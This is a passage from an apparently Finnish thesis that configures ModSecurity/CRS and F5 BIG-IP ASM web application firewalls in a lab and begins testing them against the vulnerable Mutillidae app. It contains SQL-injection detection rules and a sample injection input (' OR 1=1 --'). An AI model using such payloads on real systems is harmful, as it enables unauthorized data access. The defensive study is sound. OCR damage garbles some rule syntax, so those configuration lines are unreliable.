modsecurity_crs_59 outbound_blocking.conf
modsecurity _crs_60_correlation.conf

Kaikkia saantoja ei hyodynneta hyokkayksien estamisessa, koska hyokkaykset kohdis-

tuvat vain tiettyihin hyokkaystekniikoihin.
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8.4.3 ModSecurityn asetukset

Seuraavaksi kdaydaan lapi hakemistopolussa /etc/apache2/ sijaitseva modsecuri-

ty.conf-asetustiedosto, joka on tarkoitettu vain ModSecurityn ohjelman asetuksiin.

Oletuksena ModSecurity on vain tarkkailevassa tilassa. Se kirjoittaa lokitiedostoihin
havaitut hyokkaykset, mutta ei esta liikkennetta. Talla halutaan edesauttaa, etta alku-
vaiheessa verkon liikenne ei estyisi, ennen kuin maaritykset on saatu sopiviksi. Jos
kuormitus kay liian suureksi, kdsitelldaan dataa vain osittain. (Ristic 2012. ModSecurity

Handbook.) Asetus jatetdaan aluksi tarkkailevaan tilaan (DetectionOnly).

SecRuleEngine DetectionOnly

HTTP-pyynto (HTTP request) koostuu osittain pakollisen otsikon lisdksi valinnaisesta
sisallosta. SecRequestBodyAccess-toiminto maarittaa, annetaanko ModSecuritylle
lupa tutkia myos HTTP-pyyntojen sisaltd (HTTP body). Jos ominaisuus otetaan pois
kaytosta, ei HTTP:n POST-parametreja voida havaita. Myoskaan datan puskurointia ei
voida tehda, mika on oleellista hyokkadyksien estamisen kannalta. Asetus jatetdan

kayttoon.

SecRequestBodyAccess On

Ennen ModSecurityn 2.5-versiota huomattiin, etta HTTP-pyyntdjen sisdllén koon ra-
joittaminen on epakadytanndllista, jos palvelinta kdytetaan tiedostojen lahettamiseen.
Taman vuoksi sisallon koon rajoittamiseen on nykyaan kaksi toimintoa: SecRequest-
BodyLimit ja SecRequestBodyNoFilesLimit. SecRequestBodyLimit:n avulla voidaan
maarittaa, kuinka suuret sisallét HTTP-pyynnoissa hyvaksytdan tiedostot mukaan
lukien, jolloin ei ole syyta epailla kohdistetusta hyokkayksesta. SecRequestBody-
NoFilesLimit taas maarittaa sisallon koon ilman tiedostoja, jolloin kokorajoitus voi-
daan laskea turvalliselle tasolle. SecRequestBodylnMemoryLimit on suorituskykyyn

vaikuttava toiminto, joka maarittaa sijainnin datan puskuroinnille riippuen HTTP-

pyynnon
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sisallon koosta. Koska testialustalla ei ole tarvetta lahetella tiedostoja, jatetdan ase-

tukset oletusarvoihin.

SecRequestBodyLimit 13107200
SecRequestBodyNoFilesLimit 131072
SecRequestBodylnMemoryLimit 131072

HTTP-vastaus koostuu myds otsakkeesta ja sisallosta. Jos SecResponseBodyAccess on
kaytossa, kasitellaan myos palvelimelta asiakkaalle lahtevat HTTP-vastaukset. Oletuk-
sena kyseinen asetus on pois paalta, koska hyokkayksien torjumisen osalta se ei ole
oleellisin asia ja my0s palvelimen resursseja sadstyy. Yhta lailla myos HTTP-
vastauksen sallittua kokoa voi muuttaa omalla asetuksella. Yleensa ModSecuritya
kdytetaan vastauksen tarkkailuun, kun halutaan estda muun muassa tietovuodot ja

asetusvirheet. Asetus otetaan kayttoon, jotta tietovuodot havaitaan paremmin.

SecResponseBodyAccess On

On myos oleellista maarittaa lokien kirjaaminen. Debug-loki on hyédyllinen ongel-
man ratkonnan suhteen. Oletuksena sen kirjaustaso on kolme (3), jolloin kaikki oleel-
liset tapahtumat kirjataan. Audit-loki pitaa sisallaan koko tapahtuman, paitsi asiak-
kaalta tulevan vastauksen sisallon, joka voi olla hyvinkin suurikokoinen. Oletusasetus
audit-lokin pitamiselle on, etta vain oleelliset tapahtumat kirjataan, koska muuten
lokitiedoston koko kasvaisi valtavaksi. Lisaksi HTTP-virhesivuilmoituksen 500-599

antavat pyynnot kirjataan. Lokitiedostojen hakemistopolut muutetaan seuraavasti:

SecDebuglog /var/log/modsec_debug.log
SecAuditLog /var/log/modsec_audit.log
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ModSecurityn asetustiedosto sisaltaa lisaksi muun muassa asetuksia “multi-
part/form-data”-maaritykselle. Sita suositellaan hydodynnettavan web-sivustoilla
HTML-kaavakkeiden yhteydessa, kun sisaltona on muuta kuin ASCll-dataa (Forms in

HTML documents n.d). Ndihin asetuksiin ei ole tarvetta tehdda muutoksia.

SecRule MULTIPART_STRICT_ERROR "!@eq 0" \
"id:'200002',phase:2,t:none,log,deny,status:44,msg:'Multipart request body \
failed strict validation: \

PE %{REQBODY_PROCESSOR_ERROR}, \

BQ %{MULTIPART_BOUNDARY_QUOTED}, \

BW %{MULTIPART _BOUNDARY_WHITESPACE}, \
DB %{MULTIPART _DATA BEFORE}, \

DA %{MULTIPART _DATA_AFTER}, \

HF %{MULTIPART_HEADER FOLDING}, \

LF %{MULTIPART _LF_LINE}, \

SM %{MULTIPART_MISSING_SEMICOLON}, \

1Q %{MULTIPART INVALID _QUOTING}, \

IP %{MULTIPART INVALID_PART}, \

IH %{MULTIPART _INVALID_HEADER FOLDING}, \
FL %{MULTIPART_FILE_LIMIT_EXCEEDED}"

SecRule MULTIPART _UNMATCHED BOUNDARY "l@eq 0" \
"id:'200003',phase:2,t:none,log,deny,status:44,msg:'Multipart parser detected a
possible unmatched boundary.""

Myos hakemistopolut omiin saantétiedostoihin voidaan maarittdaa ModSecurityn
asetustiedostoon, jolloin omat sdannot ladataan Apachen kdynnistyksen yhteydessa.

Asetustiedoston loppuun on maaritelty rules.conf-tiedosto seuraavasti:

## Custom rules
Include /etc/apache2/rules.conf
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8.4.4 CRS-paketin asetukset

On hyva tapa olla muokkaamatta CRS-paketin saantoja, vaan pitda ne ennallaan.
Saantomuutoksille tehdaan oma asetustiedosto, johon muutokset kasataan. Talldin
on helppo paivittdaa CRS-tiedostot myéhemmin, kun muutokset ovat erillisissa tiedos-
toissa. Sdantojen alustavat asetukset tehdadan modsecurity_crs_10_setup.conf-
tiedostoon. Yksittaisten saantdjen ottaminen pois paalta voidaan kuitenkin tehda
suoraan CRS-tiedostoihin, jotka sijaitsevat /etc/apache2/crs-kansiossa. Sdannét ja

asetukset kirjataan seuraavasti:

e /etc/apache2/rules.conf — Omat saannot
e /etc/apache2/modsecurity crs_10_setup.conf — CRS-paketin sdantojen asetukset

e /etc/apache2/crs/modsecurity_custom_exceptions.conf — CRS:ien muutokset

Seuraavaksi kdydaan lapi modsecurity_crs_10_setup.conf-tiedoston sisalto.
Oleellisin asetus modsecurity_crs_10_setup.conf-tiedostossa on SecDefaultAction,
joka maarittdaa, miten toimitaan havaittaessa haitallista datavirtaa. Tama on vakio-
asetus, mutta se on muutettavissa sadntokohtaisesti. Oletusasetus on haitallisen

toiminnon estdaminen ja siita kirjoittaminen lokitiedostoon.

SecDefaultAction "phase:1,deny,auditlog”

Oletuksena CRS-paketin saannot toimivat perinteisen tavan mukaan eivatka ne osaa
jakaa tietoa keskendan. Jokainen saanto kaydaan vain yksitellen lapi. CRS-paketin
asetustiedostoon voidaan maarittaa kayttéon havainnointitila, jossa jokainen saanto
kasvattaa datavirrassa havaittujen poikkeamien kokonaispistemaaraa. Havainnointiti-
la on varmempi, koska useampi saantd on osana sitd antamassa pisteytyksia. Myos

kynnysarvot on maaritettavissa web-sivuston mukaan.
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Havainnointitilaa ei kuitenkaan otettu kayttoon, koska se huomattavasti monimut-
kaisempi konfiguroida perinteiseen tapaan verrattuna. Koska alla oleva asetusrivi on

"kommentoitu”, ei asetus ole kaytossa.

#SecAction \
"id:'900004', \
phase:1, \
t:none, \
setvar:tx.anomaly_score_blocking=on, \
nolog, \
pass"”

GeolP-tietokanta on ominaisuus, joka tekee haun IP-osoitteille. Haun tulokset kerto-
vat IP-osoitteen maantieteellisen sijainnin kaupungin. Jotta ominaisuus on kaytetta-
vissd, on ladattava kolmannen osapuolen tietokanta, joka sisaltaa tarvittavan GeolP-
datan. GeolP-ominaisuutta voi kayttaa esimerkiksi lisdamaan maantieteellinen data
hyokkayslokeihin. Talléin on helppo seurata, tuleeko liikennetta maista, joista sita ei
odottaisi tulevan. Myds tietyn maan IP-osoitealueen voi estda kokonaan. Tama voi
tulla tarpeeseen, jos web-sivustoa vaarinkdytetaan jatkuvasti tietysta maasta. Omi-
naisuuden kayttéonotto tapahtuu maarittamalla hakemistopolku GeolP-

datatiedostoon. Ominaisuudelle ei nahty tarvetta eika sita otettu kayttoon.

#SecGeolLookupDb /opt/modsecurity/lib/GeoliteCity.dat

Modsecurity_crs_10_setup.conf sisaltaa asetuksia, jotka vaikuttavat CRS-paketin
saant6on modsecurity _crs_30_http_policy.conf. Maarityksia ovat esimerkiksi sallitut
HTTP-tavat, HTTP-pyynnon sisaltotyyppi, sallitut HTTP-versiot ja kielletyt tiedosto-
paatteet. Myos kiellettyja otsakkeita voidaan maarittad. Sopivat asetukset ovat aina
sivustoriippuvaisia. Testialustan osalta muutoksia ei tehty kuin sallitun HTTP-version
osalta. Vain versio 1.1 hyvaksytaan. Alla ovat maaritetyt asetukset kokonaisuudes-

saan.
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SecAction \

"id:'900012', \

phase:1, \

t:none, \

setvar:'tx.allowed_methods=GET HEAD POST OPTIONS', \

setvar:'tx.allowed_request_content_type=application/x-www-form-
urlencoded | multipart/form-data [text/xml[application/xml|application/x-
amf|application/json’, \

setvar:'tx.allowed_http_versions=HTTP/1.1’, \

setvar:'tx.restricted_extensions=.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/
.cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/
.htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .Ink/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/
.printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/
xsd/ .xsx/", |\

setvar:'tx.restricted_headers=/Proxy-Connection/ /Lock-Token/ /Content-Range/
/Translate/ /via/ /if/", \

nolog, \

pass"”

Brute force —hydkkayksen avulla hyokkaaja yrittda yleensa arvata salasanoja ja taten
padsta kasiksi kayttajatunnuksiin (OWASP — Brute force attack 2009). ModSecurityssa
on myos brute force —hyokkadyksen esto. Maaritettavia asetukset ovat
kirjautumissivun URL-osoite, aikaikkuna monitoroinnille, raja hyokkayksien maaralle.
Lisdksi estoaika maarittaa, kuinka kauan havaittua hyokkaajaa pidetaan estettyna.

Brute force —hyodkkayksen estoa ei otettu kayttoon.

#SecAction \
"id:'900014", \
phase:1, \
t:none, \
setvar:'tx.brute_force_protected_urls=/login.jsp /partner_login.php’, \
setvar:'tx.brute_force_burst_time_slice=60', \
setvar:'tx.brute_force_counter_threshold=10', \
setvar:'tx.brute_force block_timeout=300', \
nolog, \
pass"”
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Alla on esitettyna rules.conf-tiedoston sisdlto, joka sisdltaa kayttdjan omatekemia
saantoja. Kayttajan kirjoittaessa web-sivustolla sanan “TURSKA” johonkin sisdltokent-
taan tai osoiteriville ja tiedot lahetetdaan eteenpain, tulee vastauksena HTTP 503

—virhesivu. Kyseinen tapahtuma my®os kirjataan lokitiedostoihin. Esitetty esimerkki on
hyvin yksinkertainen ja vain luovuus on rajana sdaantoja kirjoittaessa.

## Custom rules

SecRule ARGS TURSKA \
"id:'2", phase:1,log,deny,status:503"

Viimeinen asetustiedosto on modsecurity _custom_exceptions.conf, jonka on tarkoi-
tettu poikkeamille. Jos jokin saanto tarvitsee muokkausta, tehdaan se tahan tiedos-
toon. Alla on esitetty poikkeamatiedoston sisaltd. Ensiksi sadantd 981173 poistetaan
ja sen jalkeen sen sisdltdo muutetaan tarpeen mukaan. Poikkeaman syyta kasitelldaan

tarkemmin sivulla 30.

SecRuleRemoveByld 981173

SecRule ARGS_NAMES|ARGS [ XML:/* "([\~"\\@\#\5\%\ "\ &\ *\(\)\-

H=OAAN VAN <> *2)(5, 3
"phase:2,t:none,t:urlDecodeUni,block,id:'1',rev:'2' ver:'OWASP_CRS/2.2.6',maturity:'9
"accuracy:'8',msg:'Restricted SQL Character Anomaly Detection Alert - Total # of
special characters exceeded',capture,logdata:'Matched Data: %{TX.1} found within
%{MATCHED _VAR_NAME}:
%{MATCHED_VAR}'tag:'OWASP_CRS/WEB_ATTACK/SQL_INJECTION' setvar:tx.anom
aly_score=+%{tx.warning_anomaly_score}, setvar:tx.sql_injection_score=+1,setvar:'tx
.msg=%{rule.msg}’,setvar:tx.%{rule.id}-
OWASP_CRS/WEB_ATTACK/RESTRICTED_SQLI_CHARS-
%{matched_var_name}=%{tx.0}"
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Mutillidaen user-info-sivulla on mahdollista lukea haavoittuvuuden avulla myés mui-
denkin kayttajatietoja. ModSecurity kuitenkin havaitsee kyseisen lomakkeen kayton
haitalliseksi, kun tiedot |ahetetdaan eteenpain, vaikka haitallisia toimintoja ei viela
tehda. Kuviossa 13 on ModSecurityn audit-lokista I0ytyva ilmoitus haitallisesta toi-

minnasta.

KUVIO 13. ModSecurityn hyokkaysloki

Oletusasetuksena SQL-injektiolta suojaava sdaanto estaa nelja (4) erikoismerkkia ja
sitd suuremmat maarat argumentteja. Mutillidaen lahdekoodissa erikoismerkkeja on
juurikin nelja, joten saannon perusteella tdma estetdan. Vaihtoehtoina on joko ldh-
dekoodin tai saanndn muuttaminen, joista sdanndén muuttaminen onnistuu ModSe-
curityssa helposti. Koko sdaanto poistetaan, jonka jalkeen se luodaan muuten vastaa-
vaksi, mutta erikoismerkkien maaraa nostetaan. Taten kyseinen Mutillidaen ominai-
suus saadaan kaytettavaksi, johon kohdistetaan hyokkdays mydhemmin. Kuviossa 14

on esitetty selaimelta [ahtenyt HTTP-pyynt6 palvelimelle.

[Raw [Params lHeaders iHe»l

GET /mutillidae/index.php?page=user~info.phpiusername=teppoépassvord=tescis
user-info-php-submit-button=Viewv+Account+Details HTTP/1.1

Host: N

User-Agent: Mozilla/S.0 (X1l; Linux i€B&; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,applicacion/xhtmli+xml,applicacion/xml;q=0.9,*/*:q=0.8
Accept-Language: en-us,en;q=0.5
Accepr-Encoding: gzip, detlate

DNT: 1

Proxy~-Connection: keep-alive

Beterer: heop:/ /| ovcillidas/ index.

Cookie: showhints=0; PHPSESSID=plOo3nhd3hsv

php?page=user-into.php
hnfnbvE3lqfatD

KUVIO 14. Lahetettava HTTP-pyynto
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9 F5BIG-IP LTM/ASM

9.1 Yleista

F5 Labs perustettiin vuonna 1996 ja vuotta myohemmin julkistettiin heidan ensim-
mainen tuotteensa — BIG-IP-kuormantasaaja. Vuoden kuluttua julkistuksesta liike-
vaihto oli noussut yli neljalla miljoonalla dollarilla. Lipimurto tehtiin, kun vuonna
2004 esiteltiin taysin uusi teknologia: TMOS (Traffic Management Operating System).
Vilityspalvelimena toimiva kayttojarjestelma pystyi tutkimaan ja muokkaamaan sen
lapi kulkevaa liikennetta, seka ohjata sita optimaalisesti kuormantasausmielessa.
F5:n tuotteet ovatkin suunnattu yrityskayttoon ja F5:113 on toimintaa jopa 59 maassa.
F5:n liittyessa porssiin ennen 2000-luvun taitetta, sen nimeksi muuttui F5 Networks.

(About F5 n.d.)

9.2 Ominaisuudet

F5 Application Security Manager (ASM) on ominaisuuksiltaan hyvin kattava. Mukana
on muun muassa toiminto, jonka avulla tietoturvakadytanto rakennetaan perustuen
liilkenteen tarkkailuun. Viruksentorjuntaskannaukset voidaan suorittaa automaatti-
sesti ja mahdollisuus saada automaattisia paivityksia IP-osoitteiden mustista listoista,
joita kdytetaan haitallisiin tarkoituksiin. Kuten myds Modsecurity, F5 ASM suojaa
OWASP Top 10 —uhkilta ja nollapaivahaavoittuvuuksilta. F5 ASM sisaltaa jo valmiiksi
erilaisia suojausmalleja eri ohjelmistoille, joita voi muokata tarpeiden mukaan. (BIG-
IP Application Security Manager — DATASHEET 2013) Tama helpottaa tuotteen kayt-

toonottoa heti alussa.

Kun uusia hyokkadystunnisteita paivitetdan tai lisdtaan suodatuksia, on aina vaarana,
ettd ei-haitallista liikennettd suodattuu mukana. Tahan on apuna ”Staging”-
ominaisuus. Talloin lilkkennetta ei suodata uusilta saannoilta. Liikenne paastetaan lapi
ja tapahtumat kirjataan lokiin. Kyseessa on ihanteellinen ominaisuus tuotantoympa-
ristda varten, kun halutaan varmistaa, etta suojaustaso pysyy korkeana muutoksista

huolimatta. (BIG-IP Application Security Manager — DATASHEET 2013.)
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9.3 Kayttoonotto

F5 BIG-IP LTM (Local Traffic Manager) on kokonaisuus, johon ASM on saatavilla mo-
duulina. Myos itsendisid laitteita on saatavilla (BIG-IP Application Security Manager —

DATASHEET 2013).

LTM muodostaa valityspalvelimen, jonka kautta liikenne kulkee palvelimen ja kaytta-
jan valilla. Sen vastuulla on hoitaa muun muassa kuormantasaus ja yhteyden tilan
valvominen. ASM vastaanottaa liikenteen LTM:Ita ja tutkii sen konfiguraation mukai-
sesti. Tarvittaessa ASM blokkaa liikenteen, jos haitallista datavirtaa havaitaan.
ModSecurityn toimintaperiaate poikkeaa tassa tapauksessa F5 LTM/ASM:n toimin-
nasta taysin. ModSecurity on vain moduulina Apachen yhteydessa eika hoida liiken-

netta valityspalvelimen tavoin.

Saatu tuote on liikenteen kasittelykyvyltaan rajoitettu, kuitenkaan karsimatta omi-
naisuuksista. Kyseessa on siis oivallinen ratkaisu laboratorioymparistéihin ja testauk-

seen. Tuotetta ajetaan virtualisoidusti VMware EXSi:ssa.

9.3.1 Verkon rakenne ja rajapinnat

F5 ASM sijoitetaan verkkoon kuvion 15 osoittamalla tavalla. Rajapintojen kaytt66not-
to tapahtuu VMwaren ohjelmiston kautta. Hallintaa varten on maaritelty kokonaan

oma rajapinta ja verkko.

Kaytettaville VLAN:ille maaritetaan IP-osoitteet reititysta varten seuraavasti:

e External vlan = xxx.Xxx.Xxx.xxx/24

e Internal vlan = XXX.Xxx.Xxx.xxx/24
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External-verkko on tassa tapauksessa ulkoverkko ja Internal-verkko on sisaverkko,

josta loytyy suojattava web-palvelin. Hyokkaykset suoritetaan ulkoverkosta kasin.

Kuviosta 15 on nahtavissa myos tdysin suojaamaton Apache-palvelin seka ModSecu-

rityn suojaama palvelin. Kuva verkon topologiasta on ndhtavissa myos liitteessa 3.

BackTrack 5

g

g///ol/ j T

ModSec

KUVIO 15. Verkon rakenne

External F5 LTM/ASM

a/

@ (i

Internal Apache

U

S

F5 MGMT
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9.3.2 Yleiset asetukset

Verkon ollessa toimintakuntoinen, tulee vield tehda vahan maarityksia, ennen kuin
tietoturvakaytantoa padsee rakentamaan. Ensimmainen vaihe on maaritelld "pooli”.
Tama sisaltaa palvelimet, joita halutaan suojata tietoturvakaytannolla. Poolissa on
aina jonkinlainen kuormantasaus paalla. Oletuksena kdytetdaan “Round Robin”
—tasausta, joka jakaa liikenteen poolin palvelimille vuoropyynndin. Tassa tapauksessa
kuormantasauksella ei ole merkitysta ja asetus jaa oletustilaansa. Kuviossa 16 on

nahtdvissa kdytettava kuormantasaus ja pooli.

Local Traffic » Pools : Pool List »» pl_apache

¥+ « | Properties Members Statistics

Load Balancing
Load Balancing Method |Round Robin v
Priority Group Activation I Disabled A
Update
Current Members
v||[~]|Status = Member
@ I

| Enable | | Disable | [ Remove |

KUVIO 16. Pooli ja kuormantasaus

Kun pooli on maaritelty, on aika lisdta "HTTP Class” —profiili. Taman profiilin avulla
haluttu liikenne ohjataan LTM:Ita ASM:lle tarkasteltavaksi. Maaritykset voi tehda aina
yksildidysti IP-osoitteiden perusteella tai jopa evastetasolla. Profiileita on mahdollista
tehda useampia tarkempia maarityksia varten. Web-sisallon estdmisen suhteen tulee
miettid, onko kannattavampaa kadyttaa HTTP Class —profiilia vai iRule-toimintoa. Ole-
tuksena kaikki liikenne siirretdan ASM:lle, ellei toisin maariteta. Kuviossa 17 on maa-

riteltyna kaytettava profiili.
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Local Traffic »» Profiles : Protocol : HTTP Class » vs_apache

% -~ Properties Security Policy  [7]

General Properties

Mame Vs_apache

Partition / Path Comman

Parent Profile I httpclass :
Configuration

Application Security m

Hosts m
URI Paths [Matchall  [+]
Headers m
Cookies m

Actions
send To IH-:n-; |~
Rewrite URI |

| Update I[ Delete.. ]

KUVIO 17. HTTP Class -profiilin asetuksia

Jotta sisdantuleva liikenne saadaan kasiteltyd, tulee maarittaa kayttoon “virtual ser-
ver” -asetus. Samalla huolehditaan, ettd ASM:lle siirrettava liikkenne on aikaisemmin
madritetyn profiilin mukaista. Virtual server saa oman IP-osoitteensa, johon yhdiste-
taan haluttaessa web-sivulle. Muita oleellisia maarityksia on palvelun portti (tdssa
tapauksessa 80), profiilin valinta ja oletuspooli. Kuviossa 18 on otos kdytettavasta

konfiguraatiosta.
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Local Traffic » Virtual Servers : Virtual Server List 5, vs_apache

¥ ~ Properties Resources Statistics =

General Properties

Name vs_apache

Partition / Path Common

Description |

Type | Standard [~]

Destination Type: @ Host ") Network
Address: | NN

Senvice Port | 80 |HTTP =]

Availability Q

State |Enab|ed :I

KUVIO 18. Konfiguraatio virtual server -toimintoa varten

Edelld mainittujen toimenpiteiden jalkeen, yhteys suojattavalle web-palvelimelle
toimii moitteetta. Kuviossa 19 on esitelty poolin liikestatistiikkaa. Kun liikenndinti on
saatu kuntoon, voidaan alkaa turvata haavoittuvaista web-palvelinta eli perehdytdan

tarkemmin ASM-moduuliin.

Statistics Type Poois k3
Data Format Normalized |w|
| Auto Refresh Disabled  |v| [Refresh)
(Search) | Bits | Packets |
|¥| Status | = PoolMember Parttion / Path in Out (In  Out j
@ pi_apache Common 109.0K 15M 173 164
o - I Common 1000K 15M 173 164

KUVIO 19. Poolin liikennestatistiikkaa
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9.4 Tietoturvakdytannon rakentaminen

Oletuksena ASM-moduuli ei ole kaytdssa, vaan se pitaa kayda aktivoimassa erikseen.
Taman jalkeen valikkorakenne muuttuu parin valikon verran, tuoden ASM:n ominai-
suudet nakyviin. Kyseinen vaihe |6ytyy kylla F5:n dokumentaatiosta, mutta hieman

mutkien kautta.

Suositeltavin ratkaisu F5 ASM:n kanssa olisi kdyttda automaattisesti luotavaa tieto-
turvakaytantoa. Talloin opitaan millaista liikennetta kulkee web-palvelimelle ja sielta
ulospain. Kun liikennetta seurataan useiden paivien ajan oppien ei-haitallinen data-
virta, on kasassa toimiva tietoturvakaytantd. F5 ASM:n ideana on hyodyntaa positii-
vista tietoturvamallia, jonka tukena on vield negatiivisen tietoturvamallin allekirjoi-
tustietokanta. Kuten Modsecuritykin, F5 ASM ei esta liikennetta, ennen kuin se maa-

rataan niin tekemaan.

Kuviossa 20 on esitettyna tietoturvakdaytannon yhteenveto. Toisin kuin tuotantoym-
paristossa, joissa lilkenteen kulku on ratkaisevaa, ”Staging-Tightening Period” —asetus

on muutettu seitsemasta paivasta nollaan.

Security Policy Properties Configuration

Security Policy Name vs_apache2

Application-Ready Security

Policy Hong

Application Language Western European (is0-8859-1)
Staging-Tightening Period 0 days

Dynamic Session ID in URL Disabled

Security Policy is Case

Sensitive 16s

Attack Signatures Configuration
Systems General Database, Various systems, System Independent, PHP, Apache, MySQL, Unix/Linux

Automatically assigned set(s): Generic Detection Signatures;

SEIAHEIEE Systems: PHP, Apache, MySQL...

Signature Staging Disabled

Apply Signatures to Responses | No

Wildcards Tightening Configuration

File Types Tightening No
URLs Tightening No
Parameters Tightening No

KUVIO 20. Tietoturvakdytannon yhteenveto
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Talloin muutokset tulevat kdayttoon ilman odotteluaikaa. Kaytt6on otettiin myos eri-

laisia allekirjoituspaketteja web-palvelimen alustan mukaisesti. Ylimaaraiset allekir-

joitukset lisaavat vain kuormitusta, joten on suotavaa pitaa allekirjoitukset minimi-

maarassa ainakin suuremmissa kokonaisuuksissa. Allekirjoituksien osalta odotteluai-

ka otettiin myos pois paalta. Kuviossa 21 on esitetty viela muita asetuksia tietoturva-

kaytantoon liittyen. Vain haitalliseksi havaitut pyynnot kirjataan lokiin, mika on suo-

tavaa varsinkin suurilla liikennemaarilla. Tilaksi jatetaan “Transparent”, jotta mitaan

lilkennetta ei viela esteta.

I Security Policy Name
‘ Application Language

Loagging Profile

Security Policy Description

Enforcement Mode
Staging-Tightening Period

Signature Staging

Security Policy is case sensitive

Maximum HTTP Header Length

Maximum Cookie Header Length

Allowed Response Status Codes

Dynamic Session ID in URL

Trigger ASM iRule Events
Trust XFF Header

| vs_apache2

Western European (is0-8859-1)

[Log illegal requests | v |

’Apache protection »

@ Transparent ) Blocking

| 0 days

Disabled (Attack Signatures Configuration)

Yes
D Any @ Length: | 8192 Bytes
© Any @ Length: | 8192 Bytes

New Allowed Response Status Codel Add

400
401
404
407
417
503

[Remove All| [Remove)

I Disabled i

[“IEnabled

("l Enabled

KUVIO 21. ASM:n lisdasetuksia
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Edellda mainittujen asetusten jdlkeen vahvistetaan parametrien, URL-osoitteiden seka
tiedostopaatteiden osalta niiden kayttoonotto. Aluksi on taas olennaista tutkia, etta
web-palvelimella oleva testausalusta ei aiheuta vaaria halytyksia jo valmiiksi. Kirjau-
duttaessa normaalisti testialustan user-info-sivulta, tunnistetaan se saman tien hai-

talliseksi, kuten kuviosta 22 voidaan havaita.

Status « Time | ¢ Severity * Source IP ¢ Response Code Requested URL
vi @ 23:56:50 _ 200 piTP) /mutiilidaedindex php
P 235553 I HTTP) Imutillidaefindex phy
[Export (Clear Selected (Clear by Filter] (Clear Al
Char Hex Details
Request Details | HTTP Request HTTP Response| _ iow details
Violations Space 0x20 lew detalls
Violation Severity
B megal meta character in value ‘l;eam: Error
General Detalls
Requested URL MrTR) /mutillidaelindex php

Security Policy sp_apache2

KUVIO 22. Haitalliseksi havaittu toimenpide

Syyna hélytykseen ovat kielletyt merkit page-parametrissa, joka pitaa sisallaan muun
muassa web-palvelimelle l[ahetyt lomakkeen tiedot kuten kadyttdajatunnus ja salasana.
Koska kyseessa on vaara halytys, annetaan ASM:n oppia se itse. Klikkaamalla “Learn”,
vahvistamalla haluamansa arvot ja hyvaksymalla uuden tietoturvakaytannon, astuvat
muutokset voimaan valittdmasti. Aina muutoksia tehdessa tietoturvakaytanto tulee
hyvaksya uudelleen. Muutoksen jalkeen vaaraa halytysta ei enaa esiinny.

I”

Vaara hélytys esiintyy myos “change-log.html”-sivulla. Tahdn on syyna page-
parametrissa oleva vinoviiva-merkki (/). Kyseisen merkin kaytto vahvistetaan ja tieto-

turvakdytanto hyvaksytaan.
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Tietoturvakdaytannon rakentaminen suoritettiin kdsin. Automaattinen toiminto olisi
vaatinut jatkuvampaa lilkennetta ja sen valmistuminen olisi vienyt pitkaan. Tarkoitus
on hyddyntaa vain F5 ASM:n allekirjoitustietokantaa eli toimia negatiivisen tietotur-
vamallin tavoin. Tallin asetuksia tulee muuttaa seuraavasta polusta: Policy —
Blocking — Settings. Kaikki valinnat otetaan pois lukuun ottamatta "Negative Security

Violations” —kohdan valintoja.

Current edited policy | sp_apache2 (blncking}E

Wiolation Mame Contains | Go | |[Reset

Violations List

Enfarcement Mode: ' ' Transparent ) Blocking
RFC Violations

[ Cookie not RFC-compliant

[ Evasion technique detected

@ HTTP protocol compliance failed

[ Mandatory HTTP header is missing
Access Violations

[ Access from disallowed Geolocation

[ Access from disallowed User/Session/IP
[ Access from malicious IP address

[ CSRF attack detected

[ CSRF authentication expired

[ lllegal entry point

[ lllegal file type
KUVIO 23. Blocking settings
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10 HYOKKAYKSIEN SUORITTAMINEN

10.1 Alustus

Hyokkayksia suoritetaan web-palvelimelle hyddyntden Burp Suite ja W3af
-ohjelmia. Poikkeuksena on SQL-injektiohydkkays, johon hyodynnetdaan myds Sql-

map-ohjelmaa.

W3af on avoimen Iahdekoodin haavoittuvuusskanneri web-ohjelmistoille, joka on
saatavilla aina Windows-kayttojarjestelmasta Mac OS X:3an ja Linuxiin. Haavoittu-
vuuksien etsimisen lisdksi, W3af mahdollistaa niiden hyvaksikayton. (W3af.org. n.d)
Burp Suite on myds web-ohjelmistojen tietoturvan testaukseen tarkoitettu ohjelma,
joka helppokayttoinen aloittelijoita varten, mutta myos hyvin pitkalle konfiguroitavis-
sa ammattilaisten kayttoa ajatellen. (Burp Suite n.d.) Sqlmap on tdman hetken vai-
kuttavin SQL-injektiohaavoittuvuuksiin keskittyva skannausohjelma. Se sisaltda tuen
muun muassa lukuisille eri tietokantatyypeille, kuusi erilaista hyokkaystyyppia, hash-
muodossa olevien salasanojen murtamisen sanakirja-hyokkayksellad ja on kaiken li-

saksi vield avointa ldhdekoodia. (Sqlmap.org. n.d.)

Havainnollistamisen vuoksi hyokkaykset ajetaan aluksi niin, ettd WAF:t ovat tarkkai-
levassa tilassa, eli ne eivat estd mitdan hyokkayksia, mutta kirjoittavat havaintonsa
lokitiedostoon. Taman jalkeen WAF:t laitetaan estamaan havaitsemansa hyokkayk-
set. Vertailut kdydaan lapi WAF:ien kesken ja tutkitaan, onko niissa merkittavia eroa-
vaisuuksia. Koska kaytetyt hyokkaykset on jo maaritelty ja tiedossa haavoittuvasta
web-ohjelmistosta, ei niita etsitd erikseen, vaan kohdistetaan hyokkaykset suoraan
web-ohjelmiston haavoittuviin osiin. SQL-injektiossa suoritetaan hieman pidemmat

ja intensiteettisemmat hyokkadykset kuin muiden haavoittuvuuksien osalta.
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10.2 Haavoittuvuudet ilman suojausta

10.2.1 sQl-injektio

SQL-injektiossa kaytetaan Mutillidaesta 16ytyvaa lomaketta, jolla voi tarkastella omia
rekisterodintitietojaan antamalla ensin kdyttdjatunnuksen ja salasanan. Haavoittuvuus
on tassa tapauksessa helppo todentaa syottamalla tietty erikoismerkki lomakkeen
syOtekenttiin, jolloin sivusto ilmaisee sivulatauksen jalkeen, ettd annettu SQL-lauseke
on virheellinen. Itse haavoittuvuuteen kaytamme kuvion 23 nimi-kentassa olevaa

lauseketta.

Please enter username and password
to view account details

Name OR 1=1 -

Password

[ View Account Details ]

KUVIO 24. SQLi-lauseke

Annettu SQL-injektio on aina tosi kaikkien tietojen kohdalla ja se my6s sulkee loput
